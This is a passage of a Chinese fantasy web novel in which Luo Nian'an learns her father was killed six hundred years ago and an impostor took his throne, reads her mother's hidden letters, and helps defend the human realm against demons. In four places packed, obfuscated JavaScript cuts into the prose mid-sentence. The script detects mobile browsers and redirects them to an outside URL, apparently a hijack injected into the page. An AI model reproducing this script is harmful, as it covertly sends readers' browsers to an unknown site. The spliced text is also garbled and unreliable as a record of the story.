“肯定是颜无双搞的鬼。” “现在究竟是谁搞的鬼重要吗？” “帝君他......现下可如何是好？” 殿内几人叽叽喳喳着，忽然停了下来，齐齐往高台上的洛念安身上看去。 “要我说，”明修急道，“现下赶紧去把云祉殿下请过来，神界不可一日无首啊！” 有人反驳道：“他连飞升都未飞升，如何能收拾得了这些烂摊子？” 明修道：“他好歹是帝君的血脉。” 那人道：“上面那位也是帝君血脉。” 明修皱眉：“可她毕竟是女子。” 那人抬起一只手制止他道：“我们只认实力，不看男女。你若觉得你可以，便去和颜无双过几招，能抗下来，我们便听你的。” 明修闭上嘴，又实在憋不住道：“她身侧还站着太阴仙呐！” 柳渊扬声道：“大敌当前，小恩小怨还是先放一边吧，非敌即是友。” “就是，战场之事，想你一介文夫也不懂。” “……”明修彻底闭了嘴。 高台之上，洛念安抬手轻轻拍了拍易桉伸出的那只手，却没有握上。她支着龙吟，缓缓起身，端立于高台之上，声音借着法力传至大殿的每一处角落：“诸神各自负责自己所庇佑的方位，寻真阁速速知晓众生就近寻找神庙躲避，各上仙负责指引并保护百姓进入神庙，避免恐慌所引起的其他麻烦。” “是。” 洛念安看向柳渊：“柳将军，这些交给你。你战术了得，我信你。” 柳渊正了神色：“是。” 洛念安道：“各自就位。” “是。” 看着众神退下，洛念安这才发现：“苍和阿离呢？” “去帮忙了。”易桉道。 也不知它们是何时离开的，洛念安点头，抿唇蹙眉片刻，道：“万妖万鬼，没想到这么多年过去，她竟还有这样的号召力。” 易桉道：“上次进入无量狱，里面并未见其他妖鬼，姐姐不觉得奇怪吗？” 洛念安看向他，如实道：“我并不了解无量狱的情况，那里的结界是......”她忽然顿住，呼吸变得急促起来。 她能感受到后背抚上来一只手，那凉意渗透衣料，却能安抚人心。 洛念安道：“小桉，有没有一种可能，其实这么多年，颜无双并没有死。” 易桉望着她：“姐姐很早就见过她。” 洛念安无言良久，轻声道：“她是我的师父。”她的手再次不受控制地抖动起来，她吞咽一下，无意识地抓住了易桉的手，语速加快，“她的招势打法我太熟悉了，连出招前的小动作都与我师父一模一样。她就是我的师父，她承认了。可是，可是那年她为何会死在我面前？” 易桉反握住她的手，沉声道：“姐姐，其实那日我便想说，尊师之死真的是为你挡劫吗？我认为于你而言，她的死才是一道真正的劫。” 洛念安猛地怔愣住，良久，才喃喃道：“六百年前，所有人都说颜无双死了，是我的父君亲自将她斩杀......”她停了下来，心底那座囚笼内的东西不断击打着牢门，几欲闯出。她又忽然大声道，“与我父君前去的几位上神都知道，对吧？”她求证似的看向易桉，希望能得到他的肯定，也好说服自己。 可是易桉却始终没有点头，只是眸光深深地看着自己，手上的力道加重，他眼底的不忍几乎要击溃洛念安心底的防线。 “我要去问清楚。”洛念安迈步往前，却踉跄一步，险些从高台之上滚落下去。 好在易桉一把托住她，将人带入自己怀中：“姐姐，不要怕，有我在。” 洛念安咬紧牙关，稳住心神后，与易桉一起快步移出紫微大殿。却在刚出门时就撞到匆匆而来的洛霁禾：“长姐！长姐！” 洛霁禾气喘吁吁地停在洛念安面前，拦住了她的去路：“长姐，我听说神界出了事，父君呢？他去下界处理事情了吗？我也没找到母后，她寝殿的殿顶竟然破了！我得去找人修缮一下，若被母后知晓，恐怕要不高兴了。那天上为何破了个大洞啊？”他喋喋不休抛出一连串儿的问题，忽然停下，视线落在面前两人相握的手上，复又看向易桉，“你是谁啊？” “我是谁？”易桉轻轻挑眉，“这个很有说法，看你乐意管我叫什么了。” 洛霁禾没听懂他的意思，大抵还觉得他有病，于是没理他，转而继续看向洛念安：“长姐？” 洛念安望着他，眼眶忽然一酸，她抿紧唇，伸手抚上洛霁禾的肩膀，轻声道：“云祉，现下发生了一些棘手的事情需要处理，你先回殿中好好待着，不要乱跑。” 洛霁禾看着她，听话地点点头：“哦好。” 易桉却道：“神界已经不安全了。” 洛念安一愣，了然垂眸，万般惆怅道：“是啊。” 易桉又道：“让他去我那处。” 洛念安抬眸看向他，正要表达感激之情，却听洛霁禾道：“我不要走，这里是我家，我家不安全，还有哪里安全？” 洛念安又看向洛霁禾，轻叹一声道：“云祉，不要添乱。” 洛霁禾咬紧下唇，垂着首道：“那好吧。”顿了顿，他又道，“可是神界还有许多神仙在，他们会不会有危险？” “......”洛念安无言片刻，默默看向易桉。 易桉接收到她的视线，对着洛霁禾开口道：“你去将那些闲人都找来，此处会有传送阵将你们送至安全之地。” 洛霁禾连连点头：“好好。” 洛念安非常不好意思，有些不放心地嘱咐道：“到地方不要乱走，不要随便动人家的东西。” 洛霁禾转身欲走，闻言道：“知道了长姐。”他迈出几步又停下来道，“对了长姐，若父君母后他们回来，你记得要告诉我。” “......”洛念安吞咽一下，道，“知道了。” 洛霁禾走后，易桉也在紫微大殿门前设好了传送阵。二人对望一眼，默契往白锦的神殿处走去。 一路上洛念安步履匆匆，总记挂着人间之事：“也不知他们能否应付得过来。” “姐姐放心，”易桉安慰她道，“妖鬼而已，没有鬼不忌惮苍和阿离。至于妖，白衡会去处理，他是万妖王。” “谁？”冷不丁提起这么个名字，洛念安倒是愣了一下，缓了一阵才反应过来：“万妖王？何意？” “妖族之首。”易桉勾起唇角，“姐姐不会以为，谁都能与我合作吧？” 洛念安转眸看向他，须臾，唇角牵起几分笑意：“原来竟都是大人物。” 他们到时，白黎正忙着收拾打包，连药罐子都塞进了包布里准备带走。察觉有人进来，白黎百忙之中抬头看了过来，随即惊喜地睁大眼睛：“殿下！ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14999019|152665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”她的视线扫到身侧易桉身上，笑容又瞬间僵在脸上。 洛念安适时开口：“你这是在做什么？” 白黎回过神来，站起身道：“听说神界出了事，我正打算带着兄长回青丘避一避。” 洛念安道：“现在外面妖鬼肆虐，青丘安全吗？” 白黎将包布系好，闻言道：“安不安全的，就算是死，还是死在家里更好。” 洛念安心里“咯噔”一下，颜无双的话如鬼魅般缠在耳畔，惹得她变了脸色。 “不会死的，”她抬高声音道，“你们都不会有事。” 白黎微微一愣，她自看出洛念安的脸色不对，才察觉自己说了不好的话，于是连忙道：“自然，我们相信殿下。” 此时，易桉出声道：“白锦在哪？” 白黎一怔，看了他一眼，又看向洛念安，犹疑道：“有……有事吗？” 洛念安知她心里担忧，轻声安慰她道：“别担心，我找你兄长有很重要的事情要问。” 得知是洛念安有事要问，白黎悄悄松了口气：“兄长在里殿，请随我来。” 他们见到白锦时，他正卧于榻上，掩唇轻咳着。即便如此，他面上有了血色，较之前看来整个人精神许多，想必在神界休养的还算不错。 看到那张脸，洛念安仍觉恍惚，两个没有血缘关系之人竟能相像到如此地步，着实神奇。 见到来人，白锦想要起身，却被洛念安伸手制止，并询问道：“仙君近来可好？” “劳殿下挂念，”白锦微微颔首，“一切都好。” 洛念安点头，直言道：“我此次来，是想向仙君打听一下六百年前围剿颜无双之战一事，我记得那时仙君是随我父君一同前往的。” 闻言，白锦掩唇轻咳几声，看向白黎道：“黎儿，去倒些热茶来。” 白黎自是听懂了自家兄长的话外之意，转身退了出去，并顺手关上殿门。 待她走后，白锦伸手道：“殿下，”他又看向易桉，“鬼王阁下，请坐。” 两人对望一眼，齐步移至桌边坐下。 “六百年前，我们跟随帝君一同前往无量狱除女魔。她手下妖鬼奇多，实力不凡。殿下想必也知，无量狱魔气冲天，灵气枯竭。而我等的法力并非取之不尽用之不竭，那里是颜无双的主场，于我等多有弊处。我们一路斩杀妖鬼，赶至女魔老巢时，或多或少都感到疲乏。”说到这，白锦停了下来，执帕掩唇轻咳。 洛念安伸手摸向桌上的玉壶，见还温热，便倒了杯热茶，端至榻边。 白锦道了谢，喝茶润了润嗓子，又继续陷入回忆：“我们进入魔宫之中，里面却空无一人，只有满殿燃烧的火烛，和三面模样奇异的铜镜。” “铜镜？”洛念安忍不住出声打断道，“是何模样？” 白锦蹙眉思索片刻，道：“像是两面铜镜合到一起。” 闻言，洛念安与易桉对望一眼，易桉眉头一挑，洛念安道：“烦请继续。” 白锦颔首，接着道：“帝君一眼便看出那铜镜有古怪，他令我等原地戒备，只身前往探查，却忽然在铜镜前消失了。待我等回神过来，上前查看，那三面铜镜却是毫无反应，与普通铜镜无异。直到有人发觉，那镜前被人设下结界。后来，突然有大批妖鬼闯入，我们便只得先对付他们，暂时无暇顾及那三面铜镜。待妖鬼被尽数除尽，帝君他也从铜镜中现身了。” 洛念安猛地起身：“然后呢？” 白锦似被她惊到，咳了起来，好半晌才言：“帝君道，颜无双被其斩杀。” 洛念安呼吸渐渐急促，她往前几步：“也就是说，我父君斩杀颜无双之时，你们并不在场，也并无人亲眼所见？” 白锦看着她，迟疑片刻，缓缓点头。 68. 萧瑟际逢启灵恩师 洛念安脚下一软，只有伸手扶上桌面才能勉强支撑住身体。沉默的间隙，好似跨越了六百年的时光。 “殿下，神界到底发生了何事？黎儿说，九重天裂开了一条缝隙。” 白锦的声音将洛念安拉回了六百年后的现在，她顿了顿，又坐了回去，摇摇头，对他道：“神界现下确实不太安全，青丘......尚不知如何，不如你们去......”她说着，又看向易桉。 易桉接住她的视线，轻轻点头。 洛念安便继续道：“去我身侧这位那里避一避。” 白锦闻言一顿，看了一眼易桉，垂下眸道：“多谢殿下好意，只是我尚有子民在青丘。我现下无法为神界效力守护苍生，便只能回去与子民一起守卫故土。” “好吧，”洛念安见他归意已决，便也不多劝，站起身道，“仙君保重。” 白锦颔首：“劳殿下挂念，望殿下一切顺利。” 洛念安点头，看向一侧跟着站起身的易桉，两人对望一眼，转身一齐往殿外走去。 “殿下。”身后的白锦又忽然出声。 洛念安驻足回首。 白锦看着她的眼中带着几分恳切：“殿下是否见过白衡？他......可还安好？” 洛念安如实道：“我不曾见过他。”说着，她将询问的目光投向易桉。 易桉头也不回，却道：“好得很。” 闻言，白锦的唇角牵出一抹笑意，他轻声道：“那便好，多谢。” 迈出殿门时，易桉忽然脚步一顿。 洛念安敏锐察觉到他的异样，扭头看去时，他本阖上的眸子轻轻睁开。她问道：“怎么了？” 易桉看过来，道：“没什么，一些信徒在祈愿。” 能影响到易桉的，恐怕绝不止是“一些”。 洛念安道：“你在人界神庙居多，想必进去避难的人不少。”她问，“现下要去帮忙吗？” “不急，”易桉道，“进我庙者，自会安然无恙。” “那便好。”洛念安弯了弯唇角，跨出殿门，往前走去。 神界的神神仙仙好似都已离开，少了人气的支撑，让这本是三界灵气最充沛之地一下子灰寂起来。 原本气势恢宏，人来人往的神界大街，现下也只剩下缓缓前行的两道身影。 “小桉。”洛念安忽然出声唤道。 “我在。” 沉吟片刻，洛念安停下脚步，她望着易桉，缓声道：“你说，会不会......六百年前战死之人并非颜无双，而是......”后面的话她没有说下去，也不敢说下去。 一个近乎恐怖的想法占据她的脑海，疯狂叫嚣着，挣扎着，似要里应外合，助力那只疯狂拍打着牢门的东西逃出。 胸腔被恐惧填满，几乎要喘不上气。 易桉往前一步，伸手将洛念安圈入怀中。 他的动作很轻，鼻尖萦绕着若有似无的玉兰香气，竟让洛念安冷静了下来。 “打扰一下。” 突如其来的声音，惊得洛念安一下子跳离易桉的怀抱。 怀里一空，易桉瞬间沉下脸色，转眸看去，顿了顿，又恢复往常的神情。 洛念安在地上看了一圈，也不知在找些什么东西，抬手搔了搔面颊，最终还是看了过去，手指处的动作一顿：“启灵真君？” 启灵抬起手臂摆了摆：“许久未见，珈洛殿下。” 眼前这位黑发随意半束在脑后的真君看似年轻，实则年岁却是比明修还要长上许多。乃一代文豪，他飞升前在人界创下的诗词歌赋，至今仍广为传颂。传闻其本姓李，飞升后为自己封号启灵。本已退隐多年，后来受洛君逸之托成为了洛念安的启灵恩师。 洛念安赶忙上前，行礼道：“真君，许久未见可还安好？” “好得很好得很，”启灵抬手轻轻拍了拍她的手臂，道，“现下不是寒暄的时候，我且问你，他是谁？” 洛念安一愣，心道：“这个问题难道不算是寒暄吗？” 虽这样想，洛念安还是快速答道：“这位姓易名桉，是......我的好友。” 易桉闻言，眉头一挑，嘴角却是落了下去。 “好友？”启灵狐疑地看着她，两只眼睛写了两个大字“不”“信”。 洛念安连连点头，好像点慢了没人信似的。 启灵道：“我可没见过谁没事和好友抱在一起的。”他还抬起手，两手交握给洛念安看。 “......” “......” 洛念安不敢看启灵，更是不敢看易桉，只一味垂着头，思考着转个什么样的话题。她忽然灵光一现，竖起一根手指道：“我方才心情不好，他是在安慰我。”随即便转移话题，“真君此番回到神界，是为何事？” 启灵不搭腔，显然是看穿她想要转移话题的目的。他看看她，又看看易桉，忽然眉头一蹙：“我看他非神非仙。” 洛念安：“......” “是鬼。”易桉往前几步，并在洛念安身边，微笑道，“鬼界之王，人间送号太阴。真君可还有其他想问？” 启灵扬眉：“太阴仙？有所耳闻。” 易桉轻轻一笑：“真君归隐百年，不问世事，竟听得我的名号，实乃荣幸。” 启灵似乎被说的愣了愣，片刻后，道：“我是归隐了，又不是聋了。”他说着，将洛念安拉至一边，低声道，“此人惯会花言巧语，你心性纯良，莫要被他骗了。” 洛念安虽有些懵懵然，但手摇得很快：“不会的，他不会骗我的，真君放心。” “你看你，”启灵露出一副“果然”的神情，“已经被骗了，你知道你这叫什么吗？” 洛念安想也不想便反问：“叫什么？” “鬼迷心窍。”启灵道。 洛念安：“......” 易桉道：“我看真君实在不必操这个心。” 启灵一怔，扭头道：“你怎么还偷听呢？” “......”易桉看着两步之外的启灵，沉吟片刻，道，“我也没有聋。” 启灵疯狂对洛念安使了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15019611|152665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几个她看不懂的眼色，终于转了话题，他抬手指着九重天上的裂缝，问道：“天为何破了个洞啊？” 洛念安松了口气，又叹息道：“真君，此事说来话长。” 启灵道：“那就长话短说。” 洛念安点头，道：“天帝其实是由颜无双假扮，这个裂缝是她的手笔，意图毁灭三界。” 闻言，启灵面上的神情凝住，他沉默半晌，抬起一只手道：“等等，你说帝君是谁假扮的？” “颜无双。”洛念安重复道。 启灵半张着嘴，片刻后问道：“你没跟我开玩笑吧？”见洛念安神情凝重，他又默默把嘴闭上，过了一会儿，“那帝君人呢？” 洛念安低垂着眸，沉身道：“目前所知，加上我的猜测，我父君他......应该在六百年前的那场大战中殒命了。” 话说到这里，启灵将事情大致猜了个七七八八。他沉着面色，抬手摸了摸下巴上并不存在的胡须，忽然两手一拍，颇有些懊悔道：“我还是退位退早了！” 洛念安一怔，看着他有些不明所以。 易桉在一旁道：“这话说的没错。” 启灵伸手朝着虚空一指，气愤道：“那个明修，在位如此之久，连帝君换了个人都察觉不到？还有他那个徒弟，我都不想说，两个人将神界搞的是乌烟瘴气！” “徒弟？”洛念安忍不住打断他，“他的徒弟是哪位？” “锦和啊，还能有谁？”启灵满脸愤愤。 易桉忽然出声道：“听闻真君曾奉命教导珈洛殿下数十年之久，期间没有发现天帝的异样吗？” 启灵一滞，瞥了他一眼，头偏至另一侧，却还是道：“那时我本已退位归隐，不再掺合神界之事，只是在受命之时远远见过帝君一面，每日教导完殿下便从哪来回哪去了。关键是，”他又扭过头来看向易桉，“谁闲的没事做去怀疑帝君做什么？” 洛念安忙道：“是这样是这样。” “这样，”启灵忽然对洛念安道，“回头你把他撤下来，我还是得上去再干两年，明修......”他摆摆手，“他不行，他那个徒弟，更是不行。” “......”洛念安瞥了一眼天上的裂缝，道，“有机会的话，一定。” “什么有没有机会？”启灵道，“你现在去将那女魔降服就是了。” “......”洛念安抬手搔了搔面颊，缓了一会儿，道，“这个......其实我不太有把握，毕竟我父君他......” “诶！”启灵摆摆手，“不要妄自菲薄嘛，你不见得就比你老子差。” “......”洛念安眨了眨眼，实在无话可说，便道：“是。” 启灵轻叹一声，道：“我来这一路，一个人都没见到，神界空落落的。我去紫微大殿找人，结果发现殿顶都不见了。谁弄的？” 洛念安心虚地看了易桉一眼，然后道：“颜无双。” 启灵又道：“还有那殿门也破了。” 洛念安不自觉又看了易桉一眼，便听见他道：“颜无双。” 69. 字字真心句句真情 洛念安与易桉对望一眼，垂下眸，看向手中历经岁月长河而有些残破的书。她抬起另一只手探向它，却在靠近之时不受控制地颤抖起来。 洛念安深吸一口气，她现在的心太乱了，她应该找一个能让她静下来的地方去看它。 这样想着，洛念安迈步往前走去。易桉默默跟在她身侧。 他们停在清漓殿门前，洛念安抬眼看向殿门上金灿灿的牌匾，心中默默将那几个字反复读了几遍，才迈步跨入殿中，她一路进入主殿中。 易桉跟着她，一只脚已经跨入门槛，却又停住，须臾，又退了出去。转身移至门边的玉柱旁，抱臂倚在那处。 洛念安心事重重，全然没有注意到身侧的情况。她步入殿中，端坐在玉案之前。 她记得幼时，每逢佳节，她都会来清漓殿与念清漓见面。那时，念清漓就是坐在这个位子，不近不远地看着她，与她说话，询问她最近功课情况，告诫她要好好努力。洛君逸每次都会坐在她身侧，沉默地听着她们之间的对话。可是念清漓每每便只说这些，三五句结束，再无其它。 直到有一日，启灵忽然告诉她不必再去清漓殿寻她母后，若念清漓念她，自会前来看她。 启灵没有告诉她是谁的旨意，后来，念清漓也鲜少来看望她，她便以为她母后烦她了，故而不让她再去找她。 为此，她偷偷伤心了许久。 洛念安郑重地将那册书放置在玉案上，深呼吸好几口气，才颤着手，翻开了封皮。 “致吾儿”三个大字撞入眼帘。 洛念安的手指轻轻划过“吾儿”二字，在上面停留良久。印象中，念清漓从未这样唤过她，永远都只是冷冰冰的“珈洛”。 她继续往后翻动着书页，后面一页上写着：“吾儿，今得知汝到来，母后与父君甚为欢喜。” “吾儿，母后近日为汝名甚为忧虑，恐汝不喜。今汝父言，无论儿女，皆唤念安。愿吾儿岁岁安乐。吾甚喜，汝喜否？” “安儿，今汝父捕获灵兽幼崽一只，甚怜，望其伴汝一同长大，汝喜否？” “安儿......” 念清漓几乎每日都会在这上面写下想要对洛念安说的话，有时一日一句，有时一日好几句，句句温馨，满是期盼。 洛念安一页一页翻动着，跟随着六百年前的念清漓，不自觉扬起笑容。从这字里行间，感受着母亲的爱意，忽觉幸福至极。 “安儿，今汝父领众神出征讨伐女魔无双，愿其顺遂。汝来期将至，何时与母后相见？” 见到这句，洛念安嘴角的笑意淡去。她继续翻动着书页，却发现后面是一片空白。 面上的笑容消失，她一连往后翻了好几页，发现都是空白。 洛念安愣了愣，却还是不死心，一直往后翻去，忽然瞥见其中一页上字迹重现，却是十分潦草，落笔极重，且握笔之手颤抖不止： “其非汝父！” 洛念安猛然怔住，念清漓写下这几字之时的痛苦绝望扑面而来，她深陷其中，几欲崩溃。 她喘着气，继续往后翻去，后面一页还有字，比之前的更多，密密麻麻。洛念安稍稍平复，凝神看去： “吾儿念安，见字如晤。汝安否？母亲常悲将汝带临这世间，令汝受苦。吾令汝独身一人，不能常伴左右，汝怪吾，恨吾，吾皆受得。但那非吾本愿，他以汝性命要挟，吾身不由己，也常常恨吾乃这世上最无用之母亲。吾儿，母亲自疼汝，爱汝，无比盼望汝平安长大。吾见汝读书用功，启灵真君也时常夸汝聪慧非凡天赋异禀，吾心甚慰。汝父在天之灵，自也欣慰。吾儿，母亲从不论汝或非凡，或平庸，皆为虚幻。母亲曾惟愿吾儿平安顺遂，如今亦然。奈何吾受制于人，今其令吾赴死，吾不得不死。吾儿，母亲若尚留得神识在天地之间，定会护汝平安周全。” 洛念安懵然抬手，颤抖着指尖缓缓抚过最后四字，她从未感受过母亲的温度，但此刻，母亲的温暖却透过这些字真真切切传入她的指尖。 她回神，才发觉，原来是几滴温热的泪水。泪珠越来越多，一颗一颗砸在手背上、书页上。她控制不住眼泪，只能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他们一现身，周遭瞬间鸦雀无声。 一阵诡异的沉默之后，院中的村民忽然齐刷刷跪倒在地：“神仙呐！” “活的神仙呐！” 洛念安：“……” 无言片刻，她忙着去拉人。这个扶起来，那个又跪下，扶了跪，跪了扶，来来回回，把她自己累够呛。 叶蓉听到动静从院门外挤进来，见到是洛念安他们，欣喜万分：“让一下让一下，哎呦，别跪在这了，挡住我了。” 她一通嚷嚷，众人便纷纷起身让路。 于是易桉刚准备施法强行让众人起身的手又背到身后。 洛念安抹了一把额头上并不存在的虚汗，露出笑容对着叶蓉：“小蓉。” “洛姐姐！”叶蓉总算挤到前面来，上来就一把抱住洛念安，四下看了看，又将她拉至屋内，然后喋喋不休道，“你一定知道人界出事了吧？一开始是天破了，然后突然来了一大批妖妖鬼鬼！村民们就跑来了，我在这处设了阵，在外面守到现在呢！你怎么样？有事没有？” 洛念安摇摇头：“我没事，你做的很好。” 易桉倚着门框，高大的身躯几乎挡住了外面所有的视线。 叶蓉对她左看右看，疑惑道：“你真没事吗？可我怎么看着你好像不太高兴啊？”她说着，忽然对上易桉的视线。 易桉微微摇头。 叶蓉立马会意，闭上嘴，自认为十分巧妙地转移话题道：“到底出了什么事？怎么突然来了这么多怪鬼妖魔？” 洛念安抿了抿唇，道：“此事过于复杂，总之人界现在到处都是妖鬼，大抵是一片混乱。此处还好有你，不如现在便带着村民们前往小桉那处暂避。”她说着，向易桉投去询问的目光。 易桉对上她的视线，道：“孔玉会安排妥当。” 洛念安便放下心，却听叶蓉道：“他们去避着就行，我到别处去帮忙吧。” 洛念安一怔，微微蹙下眉头，有些不放心。 叶蓉看出她的担忧，附在她耳边道：“洛姐姐别忘了，我成鬼时间可是比王上长哦，虽修为不及他，但总也不差。” 闻言，洛念安露出笑意，她差点忘记叶蓉本是修为高深的鬼了：“好吧，万事小心。” 叶蓉拍了拍她的肩膀：“我办事从未出过岔子哦，尽管放心好了。”她说着，忽然一顿，然后问道，“所以那个天？” 洛念安垂下眸，又望向她，打算实话实说：“颜无双意欲毁尽三界。” 叶蓉闻言一愣，看看洛念安，又看看易桉，见他们皆神色严肃不像是在开玩笑的样子，事实上这种事没人会拿来开玩笑。她反应片刻，忽然拍了拍洛念安的胳膊问道：“那你们？” 洛念安看了易桉一眼，不明所以：“我们？” “你们啊！”叶蓉急了，她看向易桉，“万一这是最后的时间呢？” “？”洛念安一头雾水，她又看向易桉，后者却别开视线看灶台去了。 叶蓉闭上眼睛，抬手掐上自己的人中，掐了一会儿，忍不住竖起大拇指，飞速道：“得，一个打死不说，一个死都不懂。” 洛念安实在不懂她神神叨叨地在说些什么，不过看那样子……她犹豫片刻，伸手摸上叶蓉的额头，担忧道：“小蓉，其实不必如此悲观，你不会……”吓傻了吧？ 叶蓉叹了口气，摆摆手，又道：“哦对了，差点忘了，有个叫方常远的来找你，他说认识你，跟我一起杀了几只妖。不过我看他好像是个凡人。” “方将军？”洛念安与易桉对望一眼，问道，“他现下何处？” 叶蓉抬手一指：“在外面守着呢。” 洛念安拍了拍她的肩膀道：“小蓉，你先带着村民去小桉那里。”她说着，转身便往外走。 “好。”叶蓉应下。 易桉侧身，跟在洛念安身侧，随手一挥，一旁的空间便撕开一道裂缝。 人群自觉为他们让开一条通道。洛念安走到院门处，才发现原本就摇摇欲坠的木门终于倒下，被人一脚两脚踩了个稀巴烂。她有些心疼地看着倒在地上的木门，再抬眼，便看见立在门口的方常远。 “殿下。”方常远抬手行礼。 洛念安回礼道：“方将军，别来无恙。” “一切安好。”方常远回道。 他虽如此说，洛念安却是发现再见面，方常远比上次憔悴了许多，黑了，瘦了，鬓边甚至生长出了白发。她十分理解方常远的变化，这种滋味没人比她更能感同身受。 方常远没有注意到她的眼神，只顾抬头看天，伸手指了指，道：“神界……？” “不太好。”洛念安无奈苦笑。 方常远似乎怔了怔，随即点头，拱手道：“愿尽绵薄之力。” 洛念安道：“人界现下被群妖群鬼所扰，将军能帮忙实乃雪中送炭。”她说着，抬起手，“我可以分些法力供将军一用。” 方常远看向那只手掌，轻轻一笑，抬起手道：“击掌为盟。” “击掌为盟。”洛念安重复着，伸手正欲与之击掌，却被人半路拦截。 方常远举着手石化当场。 洛念安转而看向易桉，后者已经缩回手，双臂交叠架在身前，注意到落在自己身上的视线，他轻轻一笑道：“我法力多。” 好吧，其实是一样的。 方常远垂眸看着自己的手掌，手指微蜷，许是在震惊中尚未回过神来，半晌才看向易桉道：“多谢。” 这边结束，那头叶蓉也从安乐殿回来了。她出了院门，见人都在，感叹道：“安乐殿好生热闹。” 这话听得洛念安实在觉得不好意思，小声对易桉道：“真是麻烦你了。” “不过是多了几个人，”易桉道，“要真说麻烦，那也是孔玉，不是我。” 洛念安眨了眨眼，继续小声道：“真是麻烦他了。” “事不宜迟，”方常远出声道，“我们就此出发吧。” 洛念安点头，在读神阵内询问了柳渊的位置，告知易桉具体方位后，他便启动虚空之境将四人都带了过去。 他们在前面走，听见后面叶蓉问道：“你刚才不还是凡人吗？怎么现在突然冒金光了？” 方常远回道：“殿下......鬼王阁下方才分了法力给我。” 叶蓉道：“王这么大方？你身上的金光都快把我眼睛闪瞎了。” 方常远道：“鬼王阁下的确慷慨。” 听着他们的对话，洛念安不禁莞尔。 柳渊所说的地方位于他的一座神庙内，几人现身的下一瞬，柳渊与赫连昭也跟着现身了。 “哟，两位这就进来了？”柳渊说得当然是易桉和叶蓉。 易桉站立未动，转动眸子扫视一周，哼笑一声，不语。 叶蓉撇了撇嘴：“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15028284|152665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成鬼时，你还不知道在哪个犄角旮旯呢。” 柳渊道：“你这话说得我不爱听。” “谁管你。”叶蓉继续撇嘴。 柳渊见势转移目标：“方将军也在啊，巧了这不是，我俩先前还遇到了萧宁萧将军。” 几人互相行了一通礼。 洛念安问道：“萧将军？现下何处？” 柳渊道：“我分了法力给他，现在估计在前线奋勇杀敌呢吧。” 洛念安点点头，问道：“目前情况如何？” 柳渊将手中的剑丢在一旁，边活动着手腕边道：“顺利的很，能打得都派出去打了，不能打得负责看守百姓。”他说着推了推身旁的赫连昭，“这个能一个打十个。” 赫连昭白了他一眼：“你能一个打一百个。” 柳渊嘿嘿笑道：“是吗？我这么厉害吗？” 见众人沉默，他又道：“不过今日各殿香火空前旺盛，众神皆法力大增，肯定是比以往能打得多。” 洛念安点头，心中的巨石稍稍落地。 柳渊接着道：“好了，你们两位也别闲着了，来都来了，快去帮忙吧。” “......”叶蓉问道，“你在说谁啊？” “当然是你和方将军了，”柳渊理所当然道，“剩下二位我也不敢指使啊。” 叶蓉咬咬牙，决定现在不和他计较，勉强挤出一个微笑道：“行。” 柳渊给了赫连昭一个眼神，后者便从怀里的乾坤袋中掏出一卷卷轴，一人手执一侧，展开呈现在众人眼前。 赫连昭介绍道：“卷轴上标记的方位是目前妖鬼集中出没的位置，除却鬼界，还有一股神秘力量在协助我等，具体是谁尚未可知。” “应是白衡？”洛念安看向易桉。 易桉点头：“不错。” 赫连昭与柳渊对望一眼，继续道：“那好，其实目前人手尚足，你们可随意挑选一处前去支援。” “行，”叶蓉抬手指了一处，“我去这里。” 方常远指向另一处：“此处我熟，我去支援。” 他们说完，转身便走，十分迅速。 洛念安发现上面标记的地点她似乎都曾去过，便想着先挑一处印象不错的地方，结果手刚伸出去，赫连昭却已经将卷轴卷了起来。 “？”洛念安有些诧异地看向他。 赫连昭继续卷着卷轴，不动声色道：“师父去歇着便好。” “是啊念将军，”柳渊也道，“你去歇一歇。” 洛念安蹙眉：“这是何意？” 柳渊与赫连对望一眼，笑着道：“主要是人手够了，而且方才紫微大殿一战想必你也累了，不如先歇着养精蓄锐。” “......”话说到这个地步，洛念安再不懂他们是何意便有些说不过去了。她轻叹一声，道：“多谢好意，但我完全没事，你们实在不必如此。” 面前二人又对望一眼，齐齐抬手挠了挠头。 洛念安正欲再说什么，眼角瞥见身侧的易桉原本交叠在身前的手臂忽然放了下来。她下意识扭头看去，便见到他眉头紧锁，看样子似乎是遇到了什么急事。 他方才还是一副气定神闲的样子，突然露出这样的神情，洛念安便也忘了自己要说些什么，只顾问道：“怎么了？” 